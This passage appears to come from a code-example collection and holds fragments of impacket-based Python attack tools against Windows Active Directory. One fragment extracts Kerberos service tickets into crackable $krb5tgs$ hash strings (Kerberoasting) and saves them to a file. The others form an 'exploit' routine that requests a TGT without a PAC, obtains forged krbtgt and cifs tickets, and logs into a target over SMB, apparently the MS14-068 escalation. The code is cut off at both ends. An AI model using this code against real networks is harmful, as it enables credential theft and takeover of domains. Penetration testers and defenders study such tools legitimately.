                        [:-12:].asOctets()).decode)
            output = {
                'format': 'Kerberos 5 TGS-REP',
                'tgs': entry.strip(),
            }
            #new_domain_hash(domain, None, username, entry.strip(), format='Kerberos 5 TGS-REP')
            if fd != None:
                fd.write(entry + '\n')
        elif decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value,
                username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [-12:].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [:-12:].asOctets()).decode())
            output = {
                'format': 'Kerberos 5 TGS-REP',
                'tgs': entry.strip(),
            }
            #new_domain_hash(domain, None, username, entry.strip(), format='Kerberos 5 TGS-REP')
            if fd != None:
                fd.write(entry + '\n')
        elif decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.des_cbc_md5.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.des_cbc_md5.value, username,
                decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [:16].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [16:].asOctets()).decode())
            output = {
                'format': 'Kerberos 5 TGS-REP',
                'tgs': entry.strip(),
            }
            if fd != None:
                fd.write(entry + '\n')
        else:
            print('Skipping %s/%s due to incompatible e-type %d' %
                  (decodedTGS['ticket']['sname']['name-string'][0],
                   decodedTGS['ticket']['sname']['name-string'][1],
                   decodedTGS['ticket']['enc-part']['etype']))

        if self.__saveTGS is True:
            # Save the ticket
            logging.debug('About to save TGS for %s' % username)
            ccache = CCache()
            try:
                ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                ccache.saveFile('%s.ccache' % username)
            except Exception as e:
                logging.error(str(e))

        return output
Exemple #21
0
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password)
                        self.__nthash = compute_nthash(self.__password)
                    else:
                        raise
                else:
                    raise
            else:
                # Everything went well, let's save the ticket if asked and leave
                if self.__writeTGT is not None:
                    from impacket.krb5.ccache import CCache
                    ccache = CCache()
                    ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                    ccache.saveFile(self.__writeTGT)
                break

        TGS = {}
        TGS['KDC_REP'] = tgsCIFS
        TGS['cipher'] = cipher
        TGS['oldSessionKey'] = oldSessionKeyCIFS
        TGS['sessionKey'] = sessionKeyCIFS

        from impacket.smbconnection import SMBConnection
        if self.__targetIp is None:
            s = SMBConnection('*SMBSERVER', self.__target)
        else:
            s = SMBConnection('*SMBSERVER', self.__targetIp)
        s.kerberosLogin(self.__username,
                        self.__password,
Exemple #22
0
    def exploit(self):
        self.__domainSid, self.__rid = self.getUserSID()

        userName = Principal(
            self.__username,
            type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        while True:
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                userName,
                self.__password,
                self.__domain,
                self.__lmhash,
                self.__nthash,
                None,
                self.__kdcHost,
                requestPAC=False)
            # So, we have the TGT, now extract the new session key and finish
            asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]

            # If the cypher in use != RC4 there's gotta be a salt for us to use
            salt = ''
            if asRep['padata']:
                for pa in asRep['padata']:
                    if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                        etype2 = decoder.decode(
                            str(pa['padata-value'])[2:],
                            asn1Spec=ETYPE_INFO2_ENTRY())[0]
                        enctype = etype2['etype']
                        salt = str(etype2['salt'])

            cipherText = asRep['enc-part']['cipher']

            # Key Usage 3
            # AS-REP encrypted part (includes TGS session key or
            # application session key), encrypted with the client key
            # (Section 5.4.2)
            if self.__nthash != '':
                key = Key(cipher.enctype, self.__nthash)
            else:
                key = cipher.string_to_key(self.__password, salt, None)

            plainText = cipher.decrypt(key, 3, str(cipherText))
            encASRepPart = decoder.decode(plainText,
                                          asn1Spec=EncASRepPart())[0]
            authTime = encASRepPart['authtime']

            serverName = Principal(
                'krbtgt/%s' % self.__domain.upper(),
                type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
                serverName, domain, self.__kdcHost, tgt, cipher, sessionKey,
                authTime)

            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
            serverName = Principal(
                'cifs/%s' % self.__target,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
                    serverName, domain, self.__kdcHost, tgs, cipher,
                    sessionKey)
            except KerberosError, e:
                if e.getErrorCode(
                ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password)
                        self.__nthash = compute_nthash(self.__password)
                    else:
                        raise e
                else:
                    raise e
            else:
                # Everything went well, let's save the ticket if asked and leave
                if self.__writeTGT is not None:
                    from impacket.krb5.ccache import CCache
                    ccache = CCache()
                    ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                    ccache.saveFile(self.__writeTGT)
                break